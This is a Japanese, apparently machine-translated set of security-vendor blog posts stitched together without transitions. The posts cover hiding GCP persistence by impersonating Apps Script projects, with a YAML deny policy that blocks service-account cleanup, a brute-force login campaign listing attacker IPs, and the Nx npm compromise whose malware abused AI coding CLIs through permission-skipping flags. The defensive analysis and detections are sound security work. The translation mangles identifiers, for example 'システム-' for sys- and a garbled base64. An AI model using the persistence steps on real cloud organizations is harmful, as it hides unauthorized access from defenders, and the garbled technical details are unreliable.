コードベース全体をスキャンして、侵害されたライブラリがないかどうかを確認し、すぐに更新することを強くお勧めします。これにはチェックも含まれます。 パッケージ.json、 ロックファイル、 node_modules、そしてあなたの SBOM 依存関係ツリー。更新が適用されたら、最近のウォレットトランザクションすべてに不審なアクティビティがないか監視し、公開されているトークンの承認をすべて取り消し、可能な場合は新しいウォレットアドレスに移行します。リスクをさらに軽減するには、パッケージバージョンをピン留めして、今後同様のサプライチェーン侵害が起きないようにしてください。

このマルウェアは非常に巧妙でした。ブラウザに接続し、リクエストを傍受し、ウォレットをハイジャックし、複数のブロックチェーン上で動作していました。正規のチャネルを悪用したり、トランザクションを隠したり、難読化技術を使用したりすることで、マルウェアは溶け込んでしまいながらも検出が困難でした。

インフラストラクチャ攻撃における最も重要なステップの1つは、ターゲットの環境内で攻撃を続けることです。パーシステンスは、獲得したアクセスレベルにもよりますが、多くの場合、何度も確立する必要があります。セキュリティシステムは、さまざまな形態の永続化メカニズムを検出できるほどスマートになっています。そのため、攻撃者は標的の環境に侵入し続けるための新しくて独創的な方法を模索し続けています。

Google Workspace Apps Scriptは、Gmailアカウントを持つすべてのユーザーがビジネスアプリケーションを自動化し、アプリケーションが相互にやり取りできるようにする機能です。その下で Apps Script アプリをデプロイすると、そのアカウントが所属する GCP 組織に GCP プロジェクトが作成されます。プロジェクト ID の形式は別として、これらのプロジェクトは通常の GCP プロジェクトとそれほど変わりません。つまり、攻撃者はこれらのプロジェクトのうちの 1 つを使用してリソースをホストし、ターゲットに持続させることができるということです。また、Apps Script プロジェクトと同じ名前形式の GCP プロジェクトを作成して、正規の Apps Script プロジェクトになりすまして検出を回避することもできます。

このブログでは、Apps Scriptプロジェクトの仕組みと、攻撃者がApps Scriptプロジェクトを利用してターゲットの環境で存続する方法について説明します。次に、攻撃者がこれらの手法を悪用できないように、これらの手法を検出して防止する方法について見ていきます。

アプリスクリプトの詳細

エンドポイントに関連付けられた Google Workspace アプリスクリプト script.google.comはローコードソリューションであり、Gmail アカウントを持っている人なら誰でも Google Workspace と統合するビジネスアプリケーションを自動化できます。JavaScript を使用するスクリプトインターフェイスを備えており、Google のサービスを統合して軽量な自動化を構築できます。

アプリスクリプトは非常に柔軟です。これを使うと、次のことが可能になります。

• Google ドキュメント、スプレッドシート、フォームでカスタムメニュー、ダイアログ、サイドバーを作成する
• Google スプレッドシート用のカスタム関数とマクロを開発する
• ウェブアプリをスタンドアロンアプリケーションとして、または Google サイトに埋め込んで公開する
• AdSense、アナリティクス、カレンダー、ドライブ、Gmail、マップなど、他の Google サービスと連携する
• 軽量なアドオンを作成し、Google Workspace マーケットプレイスで共有しましょう
  

アプリスクリプトが作成されると、プレフィックス付きのプロジェクト システム- 自動的に作成されます。これらのプロジェクトはコンソールの組織のプロジェクトリストには表示されませんが、これは理にかなっています。組織プロジェクトとは見なされないからです。

‍

ただし、プロジェクトはターミナルツール () から表示できます。gcloud) 実行権限を持つIDによる リソースマネージャー.プロジェクト.リスト。

App Script プロジェクトが作成されると、GCP はデフォルトで Resource Manager フォルダとサブフォルダを組織内に次の名前で作成します。 システムスイート/アプリスクリプト。ここでも、コンソールで見ると、これらのフォルダにはプロジェクトがないようです。

‍

ただし、CLIを使用すると、App Scriptプロジェクトが内部に表示されます アプリスクリプト サブフォルダー。作成後、App Script プロジェクトが格納される場所です。

GCP 組織におけるアプリスクリプトのなりすましの悪用

クリプトマイニングインスタンス

アプリスクリプトプロジェクトは、次の ID 形式に従います。 システム-<26 numbers>。GCP では、プロジェクトを作成してアクセスできる任意のフォルダーまたはサブフォルダーに保存できます。また、ASCII 文字、数字、ハイフンが含まれていて、6 ～ 30 文字であれば、プロジェクト名は何でも設定できます。の組み合わせ システム-<26 numbers> はちょうど 30 文字で、数字、文字、ハイフンが含まれています。

私たちが見つけた違いの 1 つは、保存場所によってプロジェクトがどのように表示されるかということでした。プロジェクトが組織レベルで保存されている場合、そのプロジェクトの ID 形式は システム-<26 numbers>、コンソール (プロジェクト) に表示されます sys-99990000000000)。ただし、内部で作成した場合 アプリスクリプト フォルダ、アプリはコンソール（プロジェクト）にプロジェクトとして表示されません sys-1111111111111111111111)。

以下の場合、プロジェクトは引き続き一覧表示されます。 リソースマネージャー.プロジェクト.リスト ターミナルで実行されます。

以下の権限を持つ攻撃者 リソースマネージャ. プロジェクト. 作成 App Scriptプロジェクトが他のプロジェクトのように表示されないという事実を利用して、ターゲットの組織にプロジェクトを作成し、そこにリソースを保存できます。各プロジェクトには、作成者が指定できる名前を付けることもできます。攻撃者は、標的の組織内の他のプロジェクトを調べて、そのプロジェクトにふさわしい名前を見つけることもできます。

たとえば、悪意のある攻撃者がこの隠しプロジェクトを利用して大規模なインスタンスを作成し、それをクリプトマイニングハーベスターとして使用する可能性があります。そのためには、以下のことが必要です。

• プロジェクトの課金を有効にする
• コンピュート API を有効にする
• インスタンスを作成

攻撃者は、クリプトマイニングハーベスターとして使用できる高性能インスタンスを制御するようになりました。

非表示のプロジェクト内のサービスアカウントを使用して組織に存続する

永続性により、攻撃者は理想的には高権限のIDとしてターゲットのインフラストラクチャに戻ることができます。GCP 組織で存続するにはさまざまな方法があります。たとえば、ユーザー作成サービスアカウントの作成、永続的な認証情報の作成、高権限の ID が割り当てられたリソースの作成などです。永続化メカニズムをプロジェクト内で作成できる場合は、App Script を装ったプロジェクトに作成することもできます。たとえば、サービスアカウントを作成してそのキーを作成し、組織や他のプロジェクトに高い権限を持つ役割を割り当てて、後で使用できるように保管しておくことができます。

さらに悪いことに、IDはプロジェクト名がわかっている場合にのみ表示されます。さらに、誰もサービスアカウントにアクセスできないようにするポリシーをプロジェクトに設定することもできます。これは「解読不可能な」防止策ではありませんが、サービスアカウントをクリーンアップしようとする試みが妨げられる可能性があります。特に、これらのプロジェクトは Google が作成および管理しているように見えるためです。

name: organizations/ORG_ID/denyPolicies/deny-service-account-all
displayName: "Restrict all SA usage"
rules:
- denyRule:    
    deniedPrincipals:
    - principalSet://goog/public:all    
    deniedPermissions:    
    - iam.serviceAccounts.*

なぜアプリスクリプトプロジェクトになりすますのか?

その下にあるApps Scriptプロジェクトは通常の GCP プロジェクトです。通常のプロジェクトと異なる点は、デフォルトでは Google が管理する 1 つの ID を除き、どの ID にも適切なアクセス権が付与されない点です。サービスアカウント appsdev-apps-dev-script-auth@system.gserviceaccount.com は Apps Script プロジェクトを作成するユニバーサルアイデンティティであり、Google のみが管理しています。デフォルトで Apps Script プロジェクトとそのリソースを管理できる唯一の ID です。

適切な権限を持つ攻撃者は、プロジェクトのIAMポリシーを変更して、このプロジェクトで必要なすべてのサービスで任意のリソースをホストできるようにすることができます。

たとえば、悪役は次のような行為をする可能性があります。

• サービスアカウントを作成し、それに組織ポリシーを割り当てて、対象組織で存続できるようにする
• プロジェクトを請求先アカウントにリンクし、クリプトマイニング用の大規模なリソースを作成します

アプリスクリプトプロジェクトの不正利用の検知

プロジェクトの請求情報を調べてプロジェクトのなりすまし行為を発見する

GCP にはさまざまなリソース請求タイプがあり、中には無制限の無料請求タイプもあります。IAM ID はこのようなリソースの好例です。無料リソースのその他の例としては、IAM リソースマネージャー組織、アーティファクトレジストリ、VPC 基本ネットワークなどがあります。

特定のサービスとそのリソースを使用できるようにするには、組織のオーナーはプロジェクトを請求先アカウントにリンクする必要があります。プロジェクトを請求先アカウントにリンクするのは、「プロジェクトに支払い方法を決める」というお洒落な言い方です。請求先アカウントは支払い方法をプロジェクトにリンクし、毎月、リソースの使用状況に基づいてプロジェクトのオーナーが支払いを行い、請求先アカウントは費用の請求書を各自に渡します。

大規模なコンピューティングインスタンスを作成できるということは、請求先アカウントをプロジェクトにリンクする必要があるということです。App Script プロジェクトが攻撃者によって作成され、大規模なリソースのホストとして使用されているかどうかを検出する 1 つの方法は、プロジェクトが請求先アカウントにリンクされているかどうかを確認することです。以下の例では、project sys-22222222222222222222222222攻撃者が作成した大規模なコンピュートインスタンスを含むプロジェクトには、請求先アカウントがリンクされます (フィールドで確認できます)。 請求先アカウント名 そして 請求有効ただし、正規の App Script プロジェクト (プロジェクト) sys-14600875379148140018929136) には請求先アカウントへのリンクは必要ありません。

請求情報を変更してプロジェクトに溶け込ませる

この検出を回避する方法の 1 つは、請求先アカウントからプロジェクトのリンクを解除することです。攻撃者がインスタンス (または任意の有料サービス) を作成したい場合、プロジェクトは請求先アカウントに含まれている必要があります。そのため、無料利用枠で提供されていないリソースやサービスは、請求先アカウントがリンクされたプロジェクトにデプロイする必要があります。

請求先アカウントからプロジェクトのリンクを解除すると、リソースが削除されます。

IAM サービスアカウントは有料リソースの範囲には該当しないため、請求先アカウントにリンクされていないプロジェクトでも永続的なサービスアカウントが含まれる可能性があり、以前の検出が妨げられます。

有効な API サービスによる App Script プロジェクトのなりすましの発生箇所の検出

API を使用してプロジェクトで特定のサービスを使用できるようにするには ( gcloud uses) の場合は、サービス API を有効にする必要があります。デフォルトでは、新しいプロジェクトでは複数のサービスが有効化され、これを使用してさらに多くのサービスを有効化または無効化できます。 サービス使用.サービス.有効化 または サービス使用状況.サービス.無効化。

一方、Apps Script プロジェクトでは、デフォルトではサービスは有効になっていませんが、必要に応じて有効にすることができます。プロジェクトが実際に Apps Script プロジェクトではないかどうかを調べる方法の 1 つは、有効になっているサービスを調べることです。

API エンドポイントを無効化することによるブレンド

この検出方法の問題の 1 つは、Apps Script プロジェクトが実行するタスクによっては、一部のサービスを有効にする必要がある場合があることです。攻撃者は、使用していないサービスをすべて無効にして、プロジェクトをもう少し正当なものに見せかけることができます。

たとえば、プロジェクトでコンピュートインスタンスを作成できるようにするには、 計算します そして oslogin サービスを有効にする必要があります。リソースが存在しているときに無効にすると、実行は失敗し、現在のプロジェクトの使用状況が表示されます。それ以外にも、ターゲットの環境でタスクを実行するたびに、攻撃者は残りのサービスを無効にしてから一時的に再び有効にすることができます。

もう 1 つの問題は、サービス API がプロジェクトで有効になっていなくても、一部のサービス API がプロジェクトで機能することです。そのため、IAM などのサービスや基本的なストレージコマンドだけでなく、サービス利用 API (プロジェクトでサービス API を有効または無効にできるようにする) や Resource Manager も許可されます。

• IAM
• クラウドリソースマネージャー
• サービス利用API
• Cloud Storage (基本機能はいつでも利用できます。課金を有効にすると、より詳細な制御、請求、指標が可能になります)。

つまり、サービスが有効になっていないプロジェクトでも、攻撃者が永続化メカニズムとして使用できるサービスアカウントをホストできるということです。

App Script プロジェクトのなりすまし行為の発生箇所をログで検出する

もう 1 つの検出方法は、ログを調べることです。 アプリスクリプト フォルダ。以下の例では、攻撃者が作成したプロジェクト (sys-1111111111111111111111 そして sys-22222222222222222222222222）持っている プリンシパルメール フィールドは作成者のユーザーメールアドレスに設定され、Googleが作成したフィールドには次のメールアドレスが設定されています appsdev-apps-dev-script-auth@system.gserviceaccount.com。イベントはフォルダのイベントにのみ表示され、組織のイベントには表示されないため、注意が必要です。

組織ポリシーによるプロジェクト偽装の制限

Apps Script プロジェクトを作成すると、ID 形式は システム-<26 random digits>。Apps Script になりすましているユーザーのプロジェクト作成を防ぐ方法の 1 つは、の ID 形式のプロジェクトの作成と更新を拒否することです。 システム-<26 random digits> 次のポリシーを使用します。

name: >-

organizations/012345678912/customConstraints/custom.denyAppsScriptProjectImpersonation
resource_types: cloudresourcemanager.googleapis.com/Project
method_types:
  - CREATE
  - UPDATE
condition: 'resource.projectId.matches(''sys-[0-9]{26}'')'
action_type: DENY
display_name: Deny Apps Script Project Impersonation
description: ''

攻撃者がその形式のプロジェクトを作成しようとすると、組織のポリシーによって実行が拒否されます。

組織ポリシーにより、ID形式のプロジェクトの作成は拒否されます システム-<26 random digits>（Google がエンドポイントを通じて作成した正規のものを含む） script.google.com。

Exaforce によるアプリスクリプトプロジェクトの不正使用の検出

エクサフォース は、なりすましや悪用などによる Apps Script プロジェクトの悪質な使用を検出して阻止するための階層化されたカバレッジを提供します。当社のアプローチでは、高度な異常検出を活用して環境内のエンティティのベースライン動作を把握し、異常な動作を特定します。この調査の結果、お客様を保護するためにいくつかの新しい検出が可能になりました。

• Exaforceは、通常とは異なるAPIサービス、ラベル、またはポリシーバインディングを使用するGoogle Apps Scriptプロジェクトを検出し、オンボーディング時にフラグが立てられます。
• Exaforceは、攻撃者がApps Scriptプロジェクトのように見えるプロジェクトを作成しようとするプロジェクト偽装の試みを検出します。

以下は、App Script プロジェクトになりすまそうとするシナリオの例です。

検出概要には、Exabot（AIエージェント）によるアラートの自動トリアージの要約と結論が表示されます。問題のプリンシパルなどの重要な情報の概要が示されます。

このプリンシパルの関連イベントをセッションにまとめるので、このプロジェクトが作成された背景や、このプリンシパルが行ったその他のアクティビティをわかりやすく把握して、包括的な影響分析を行うことができます。

影響を受けるすべての関連イベントとリソースは、簡単に調査できるようにグラフに視覚的にマッピングされます。

予防的管理

Exaforceの検出により、この潜在的な問題を確実に把握できます。また、ID が一致するプロジェクトの作成をブロックする前述の組織ポリシーを適用することもお勧めします。 システム-[0-9] {26} アプリスクリプトが組織で使用されていない場合。これにより、攻撃対象領域が縮小され、組織のセキュリティ体制が大幅に改善されます。

ステルスパーシスタンスとディフェンス

Apps Script プロジェクトは、監視されないままにしておくと、ステルスパーシスタンスメカニズムとして機能する可能性があります。攻撃者はこれらになりすまして、クリプトマイニング、特権サービスアカウント、またはその他の悪意のあるリソースを環境内に隠すことができます。

ディフェンダーは、Apps Script プロジェクトの内部での仕組みと、潜在的な悪用を検出してブロックする方法を理解する必要があります。Exaforce が提供しているような組織のポリシーと強力な検出機能を活用することで、この永続的なベクトルが包括的にカバーされます。

ID保護のいきなりゲームでは、攻撃者は長い目で見てインフラストラクチャを巡回し、弱点を待つことになります。Exaforceでは、ID攻撃の標的となる機密性の高い業界の多くの有名企業を保護しています。このブログ記事では、数週間にわたって現在のお客様を対象に最近展開された実際のセキュリティ侵害について説明します。このセキュリティ侵害には、数十の国際IPアドレス、最終的に認証情報が盗まれてしまい、複数の認証が成功したことが含まれます。

このタイムラインを共有して、持続的な攻撃者が実際にどのように行動し、可視性、コンテキスト、行動シグナルの相関関係がどのようになっているかを示します 検出に不可欠 そして ID ベースの攻撃を阻止します。

エグゼクティブサマリー

攻撃時間: 2025年5月15日-6月25日
初期ベクトル: SaaS 認証ポータルへのブルートフォースログイン試行
インフラストラクチャ: 40 か国以上の 200 を超える IP、その多くに ASN に異常がある
エクサフォース・ディテクション: 出張不可、ASNの不一致、ポリシー評価の繰り返し
結果: 攻撃者は有効な認証情報を取得し、修復前に複数回認証に成功しました
是正:すべてのアクティブなセッションの強制ログアウト、パスワードのリセット、MFA へのアカウントの登録

攻撃の構造

フェーズ1：偵察とテスト（5月15日〜6月5日）

最初の兆候は微妙でした。スイス、フランス、米国、モロッコからの認証試行が数回失敗したことです。その後の 3 週間で、その数は着実に増加しました。いずれも成功しませんでしたが、地理的条件、ASNの不一致、およびいくつかのアカウントでの繰り返しの試みは、協調的なブルートフォース攻撃を示唆していました。最も顕著なのは、ベルテレコム（BY）、Bahnhof AB（SE）、およびノボテレコム（RU）に関連するIPからの繰り返しの失敗です。

失敗はあったものの、絶え間ない試みは、これが標的型攻撃であり、止められないことを明確に示しました。

フェーズ 2: 協調的拡散 (6月25日)

活動量が急増しました。交代制の国際IPから80件を超えるサインオンイベントが記録されました。主な危険信号:

• 環境内に過去の履歴がないIPからの複数回のログイン成功
• ユーザーの所在地と連動していないASNからのサインオン (例:AS29069-ロステレコム)
• 管理者の ID を含む複数のアカウントでロケーションの異常と ASN の異常が報告されている

攻撃者インフラストラクチャプロファイル

今回のインシデントの過程で、Exaforceは、40か国以上の200を超える固有のIPアドレスからの認証試行を特定しました。これには、ログインの失敗と成功の両方が含まれます。このような多様なインフラストラクチャは、現代の認証情報ベースの攻撃の特徴であり、地理的な異常検出の重要性を浮き彫りにしています。

調査から得られたいくつかの説得力のある統計:

• 攻撃者の上位国: スウェーデン、ルーマニア、ノルウェー、ウクライナ、チュニジア、ロシア、スペイン、オランダ、アラブ首長国連邦、ドイツ
• 最もアクティブな IP (認証試行回数別):
  
  • 41.224.62.206 (オレンジ — チュニジア): 166 試行
  • 89.160.38.13 (Bredband2 AB — スウェーデン): 165 回の試行
  • 176.104.241.131 (Bilink LLC — ウクライナ): 155 回の試行
  • 109.100.41.198 (オレンジ色のルーマニア — ルーマニア): 153 回の試行
  • 89.10.140.58 (NextGentel AS — ノルウェー): 151 回の試行

• ASNの広範な使用: 攻撃者は、大手ISP、ホスティングプロバイダー、DigitalOceanやnetcup GmbHなどの匿名化インフラストラクチャを含む数十のユニークなASNを利用していたため、アトリビューションとブロッキングがさらに複雑になりました。
• ‍繰り返されるパターン: 多くのIPがショートバーストで使用され、模倣していました スプレー・アンド・スプレー 挙動。一方、数日間にわたって複数回ログインが成功して持続性を確立した企業もあります。

これらの調査結果から、IP位置情報、ASNの異常、ログイン動作を自動的に関連付ける必要性が浮き彫りになりました。これらの機能は、顧客がOktaログに接続するとすぐにこの攻撃を発見するのに役立ちました。

Exaforce がインシデントをどのように検出したか

Exaforceは、侵入が発生した日（6月25日）に侵入を検出することができました。検出は単一の指標に基づいていませんでした。ExaforceのAIは、複数のシグナルを自動的につなぎ合わせて、1つの脅威検出結果にたどり着きました。ルールは書かれず、手動による相関も実行されません。

• 旅行中に起こり得る違反（例：スウェーデンとチュニジアからのログインが数分ずれている場合）
• Okta ポリシー評価による ASN 異常検出
• 以前にクリーンアップされたアカウントの成功/失敗率
• デバイス、IP、セッション動作間のアラート関連づけ

侵入を検知したお客様は、すべてのアクティブなセッションから強制的にログアウトし、アカウントのすべてのパスワードをリセットし、今後の侵害を防ぐためにアカウントをMFAに登録することで、脅威を封じ込めることができました。

ディフェンダーへの重要な教訓

エクサフォースがどのように役立つか

このインシデントは、プラットフォーム内で以下を使用して特定、調査、対応されました。

• タイムラインのステッチにより、時系列や表面間のアクティビティを相互に関連づけ、攻撃の進行状況をより明確に把握できます。
• ASN対応のポリシー評価により、リスクの高いネットワークや通常とは異なるネットワークからのアクセスをより正確に検出できます。
• 視覚的な行動分析により、アナリストはユーザーまたはシステム行動の異常やパターンを迅速に検証できます。
• IPクラスタ全体のアラートを要約して、調整されたアクティビティや関連するアクティビティを強調表示します。
• 詳細な修復ガイダンスにより、外部の専門知識に頼ることなく、より迅速で効果的な対応が可能になります。

完全な検出とコンテキストを備えた単なるアラートトリアージにとどまらない

この顧客がオンボーディング中にOktaテナントをExaforceに接続すると、当社のプラットフォームはID、地域、ASN、ポリシーテレメトリにわたる行動分析をすぐに開始しました。Exaforce はカスタムルールがないため、リスクの高いパターンを検出しました。管理者権限を持つサービスアカウントが、40 か国以上、37 以上の異なる ASN から Microsoft 365 にサインインするという、圧縮された時間枠で、従来のパターンです。 不可能な旅行 さらにインフラのローテーションも

その後、Exaforceは調査結果を自動生成してトリアージし、アナリストがすぐに使えるコンテキストで強化しました。重要な理由（管理者アカウント、機密操作）、観察された内容（グローバルスプレッド、一致する安全なVPN IPなし）、マッピングされたMITREの戦術/テクニック（初期アクセス→有効なアカウント）、信頼レベル（高）、 推奨調査優先度。エビデンス、IP インテリジェンス、イベントカウント、MFA 関連のアクションはすべて単一のビューにまとめられ、監査データまたは JSON としてエクスポートできます。

その結果、セキュリティチームは、生のOktaログから始めてクエリを書くのではなく、信頼性が高く、フルスコープのアカウント乗っ取り調査から始めました。これがアラートノイズと運用検知との違いです。

ExaforceがあなたのIdPデータで何ができるか知りたいですか？すでにお持ちのデータに何が隠れているかをお見せできます。 デモをスケジュールする もっと調べるために。

2025年8月26日、npmレジストリが侵害され、 広く普及している Nx ビルドシステムパッケージの複数の悪質なバージョン (@nrwl /nx、 nx、および関連モジュール) が公開されました。これらのバージョンにはインストール後のスクリプト (telemetry.js）LinuxおよびmacOSシステムでサイレントに実行されました。ペイロードは、暗号通貨ウォレット、GitHub および npm トークン、SSH キーなど、非常に機密性の高い開発者資産を密かに収集しました。

脅威は特に陰湿なものでした。マルウェアは、無謀なフラグを使用してAI CLIツール（Claude、Gemini、Qなど）を兵器化しました（--権限を危険なほどスキップする、 --ヨロ、 --すべてのツールを信頼する）偵察と潜入をエスカレートさせるため。盗まれた認証情報とファイルはエンコードされ (2 進数と 3 進数 64)、攻撃者が管理する GitHub リポジトリ (よく名前が付けられる) に公開されました。 1ngularity-リポジトリ、 -0、または -1、それらを一般に公開します。

GitHubは迅速に行動し、2025年8月27日午前9時（UTC）に、攻撃者が作成した既知のリポジトリをすべて無効にしましたが、それはイベントから約8時間後のことでした。

どのバージョンが影響を受けましたか?

影響を受けるパッケージには以下が含まれますが、これらに限定されません。

• @nrwl /nx、 nx: バージョン 20.9.0、20.10.0、20.11.0、20.12.0、21.5.0、21.6.0、21.7.0、21.8.0
• @nx /devkit: 21.5.0、20.9.0
• @nx /エンタープライズクラウド: 3.2.0
• @nx /eslint: 21.5.0
• @nx /js: 21.5.0、20.9.0
• @nx /キー: 3.2.0
• @nx /node: 21.5.0、20.9.0
• @nx /ワークスペース: 21.5.0、20.9.0

妥協の範囲は広大でした。マルウェアは NX VSCode 拡張機能を介して開発者のマシン上で実行された場合もあれば、GitHub Actions などのビルドパイプライン内で実行された場合もあります。

それが意味したこと

この事件は、AIを活用した現代のサプライチェーン攻撃の壊滅的な可能性を浮き彫りにしました。明らかな警告を発生させずに信頼できるパッケージをインストールしたことで、開発者はうっかりして無数の機密資産を公開してしまいました。攻撃者のリポジトリが公開されると、データエスケープによってこれが現実的かつ具体的に明らかになります。

Exaforceの対応:迅速かつプロアクティブ

顧客への影響がないことの保証

攻撃を知るとすぐに、 エクサフォース MDR チーム 顧客環境全体でプロアクティブなチェックを実施しました。結果は明確で心強いものでした。

• 侵害された Nx パッケージバージョンをインストールしたお客様はいませんでした。
• お客様の GitHub アカウント、インフラストラクチャ、またはパイプライン内に、悪意のあるリポジトリが作成されたり、存在したりしたことはありません。

この先を見越した検証により、これまでのところ、このサプライチェーンの侵害による影響を受けた顧客はいないことがわかりました。攻撃による影響はなかったことを、お客様が希望するメッセージングプラットフォームを通じて迅速に通知しました。

リスク監視の強化

将来のサプライチェーンの侵害に対する防御を強化するために、Exaforceは新しいサプライチェーンセキュリティリスクルールを導入しました。このルールは、お客様の環境を継続的にスキャンして、最近の @nrwl /nx 侵害で使用されたものと同様の疑わしいリポジトリパターンがないか調べます。

具体的には、攻撃者が盗み出したシークレットや盗まれた認証情報を公開するために使用した命名規則に基づいて、悪意のあるリポジトリと一致するリポジトリにフラグを立てます。このルールは、こうしたリスクの高いパターンを早期に明らかにすることで、不正なリポジトリが武器化される前に迅速にレビュー、検証、削除できるようにします。

迅速で簡単な調査

また、Exabot Searchを使用すると、アナリストはNxサプライチェーン攻撃などのイベントが環境全体に及ぼす潜在的な影響をすばやく確認できます。「github の脆弱性に関するこのブログを読んでいただけますか:https://www.stepsecurity.io/blog/supply-chain-security-alert-popular-nx-build-system-package-compromised-with-data-stealing-malware」のようなクエリで IOC を検索できます。侵害の兆候を抽出して、私の環境が影響を受けているかどうかを教えてください。`.Exabot Searchは、さまざまなソースからのイベントを相互に関連付け、構造化された読みやすい形式で結果を返します。これにより、インシデントや新たな脅威がシステムに影響しているかどうかを判断するのに必要な時間を短縮できます。

以下のデモのワークフローを参照してください。

最終的な考え

今回のs1ngularity事件は、現代の脅威アクターがいかにAIツールを活用してイノベーションを起こし、サプライチェーンの信頼を悪用しているかを痛感させてくれます。Exaforceの迅速な対応は、顧客への露出がゼロであることを検証し、検知メカニズムを積極的に強化することで、いかに警戒と対応策が潜在的な災害を制御されたイベントに変えることができるかを示しています。常に警戒を怠らず、リスクベースの検出ルールを用意し、パッケージだけでなく行動を監視することで、次世代の攻撃も早期に発見できるようにしています。

‍

今日のセキュリティ業務は、痛ましいパラドックスに陥っています。セキュリティオペレーションセンター (SOC) を持たない組織にとって、SOC (セキュリティオペレーションセンター) をゼロから構築するのはコストと時間がかかり、リソースを大量に消費するため、多くの組織では余裕のない人員とツールが必要になります。すでにSOCを導入している企業にとって、課題は規模拡大に移ります。新しいクラウドサービス/ツールやアイデンティティシステムを採用するたびに、監視すべきソース、維持すべき検出、調査すべきアラートが追加されます。ある調査の結果、 アナリストの 65% が解約の危険にさらされている 既存のSOC環境による燃え尽き症候群により、組織や技術に関する知識が危険にさらされ、組織はノイズ、盲点、見逃した脅威に対してより脆弱になります。ゼロから始める場合も、大規模に運用する場合も、結果は同じです。

あらゆる成熟段階に対応するエージェントMDR

Exaforceのマネージド・ディテクション・アンド・レスポンス（MDR）サービスでは、そのスペクトルの両端に対応しています。当社を基盤として構築されています。 フルライフサイクルのエージェンシー SOC プラットフォームMDR は、AI を活用した検知、トリアージ、調査、対応を、数か月ではなく数日でお客様に提供します。SOC を持たないチームでも、社内チームを雇うことなく、24 時間 365 日の監視、対応、カスタマイズした保護を実現できます。定評のあるSOCにとっては、ノイズを吸収してカバー範囲のギャップを埋め、アナリストが重要なインシデントに集中できるようにすることで、フォースマルチプライヤーの役割を果たします。「Exabots」と呼ばれる AI エージェントと経験豊富なアナリストを組み合わせることで、常時稼働し、応答が速く、人間と機械の間の引き継ぎがシームレスで、学習曲線が実質的に不要になる MDR を構築しました。

MDR コンテキストとカバレッジギャップの解消

ほとんどのMDRは、誤検知に溺れることと、日常的な活動を実際の脅威から切り離すために必要なビジネスコンテキストが不足していることという、2つの根強い課題に直面しています。エクサフォースは両方を排除します。Exabotsは初日からお客様の環境の構成、ID、過去のアラートを取り込むため、プラットフォームは過去の背景をすべて把握し、それをアナリストに提供します。こうすることで、何が異常なのかだけでなく、何があなたにとって異常なのかがわかり、その知識が保持され、伝えられます。

また、GitHubなどのソースコード管理システムやGoogle Workspaceなどのコラボレーションプラットフォームなど、SIEMが見落としがちな盲点にも対象範囲を拡大しています。Google の MDR アナリストは、これらのシステムに関するトレーニングを受けており、見過ごされがちな攻撃対象領域が弱点にならないように効果的にフォローアップする方法を知っています。

よりスマートなトリアージと詳細な調査

Exaforceの検出、クラウドツール、またはサードパーティのSIEMからのアラートはすべて、AI主導の推論でトリアージされます。誤検知は削除され、シグナルにはアイデンティティと行動のコンテキストが含まれ、信頼性の高いアラートのみがアナリストに届きます。これにより、お客様のノイズが減り、当社のチームは重要なインシデントに集中できるようになります。

調査が必要な場合、Exaforceは自動証拠収集、IDとシステム間のコンテキストリンク、脅威ハンティングのための強力なデータ探索により、調査を加速します。アナリストは、タイムラインの構築、攻撃者の行動の追跡、封じ込めの指導を数時間ではなく数分で迅速に実行できるため、より迅速で自信のある対応が可能になります。

カスタマイズされた、透明で迅速な対応

私たちの強みはスピードだけではありません。私たちは各お客様と緊密に連携して、お客様の優先事項に合わせて保護方法を調整します。当社のExabotsは、疑わしいアクティビティをSlackやMicrosoft Teams経由でエンドユーザーに直接確認し、必要に応じてマネージャーに連絡を取ります。さらに、IDプロバイダーとの統合により、パスワードリセット、MFAリセット、セッション終了などのアクションを自動化することもできます。人間がループ内で処理する場合でも、Exabotが自律的に実行する場合でも、すべてのアクションはコンテキスト、透明性、説明責任に裏付けられています。また、お客様は基盤となるExaforceプラットフォームにいつでもアクセスして、何が起きているかを確認できるため、セキュリティ体制や継続的な改善について、情報に基づいた会話を簡単に行うことができます。

ワールドクラスのSOC機能をすべての人に提供

当社のMDRはあらゆる段階でAIに対応しているため、資金の豊富な企業や大規模なチームに限ったことではありません。私たちは、あらゆる規模の企業が、世界トップクラスの SOC 機能にアクセスできるようにしています。今では、小規模なチームでも 24 時間体制のセキュリティを確保し、誰かが「店舗を見守っている」という安心感を得ながら、重要なビジネスニーズに集中するために必要な貴重な時間を取り戻すことができます。また、大規模なチームにとって、MDR は戦略、可視性、透明性に対するコントロールを失うことなく、運用上の負荷を吸収する手段となります。

1 日で準備完了、すぐに価値を提供

Exaforce MDRを使用すると、アラートをキューにダンプする高価な通知サービスを受ける必要はありません。調査し、状況を理解し、より的確かつ迅速に対応してくれるパートナーが、まるで私たちがあなたの隣に座っているかのような深い理解を得ています。導入は簡単で、同日中に価値を提供し始めることができます。あとは、取り戻した時間と安心感をどう使うかだけです。

もっと詳しく知りたいですか？ 今すぐ MDR スペシャリストにご相談ください。

多くの組織にとって、セキュリティオペレーションセンター (SOC) を構築して運営することは不可能な選択です。プログラムをセットアップする小規模で機敏なセキュリティチームであれば、ツールに多額の投資をするか、検出エンジニアやアナリストを雇うか、MSSP/MDR に全面的にアウトソーシングすることができます。どちらの選択肢にもトレードオフがあります。一方は持っていないかもしれない人員とツールを要求し、もう一方はコントロールを放棄して結果は不明瞭です。すでにSOCを導入している場合、課題は異なりますが、差し迫った課題は同じです。新しいサービスやクラウドワークロードを導入するたびに、監視するソース、維持すべき検出、調査すべきアラートが追加されるため、人員数に見合った予算は得られません。その結果、盲点、アラートを見逃し、アナリストは燃え尽き症候群に陥ります。

もっと良い方法があると信じています。 エクサフォース設立後、私たちは、脅威検出、アラートトリアージ、調査と脅威ハンティング、対応など、セキュリティ運用のあらゆる段階にエージェントAIを導入して、ライフサイクル全体にわたるAI SOCプラットフォームの構築に着手しました。SaaS プラットフォームまたはフルマネージド MDR サービスとして利用できるExaforceは、従来のSOCツールやサービスと比較して、チームがより速く、より正確に、自信を持って、そしてはるかに低いTCOで作業できるように設計されています。

フルライフサイクルのAI SOCが重要な理由

現在のセキュリティ運用ツールは、AI機能を強化しようとしても、今日のIaaS、SaaS、ID、およびAIワークロードの攻撃対象領域向けに構築されたものではありません。最新のアプリケーションスタックからのシグナルをつなぎ合わせるには、ほとんどのSOCが惜しまない時間と専門知識が必要です。特に、始めたばかりの小規模チームや、すでに不足している成熟したSoCはなおさらです。

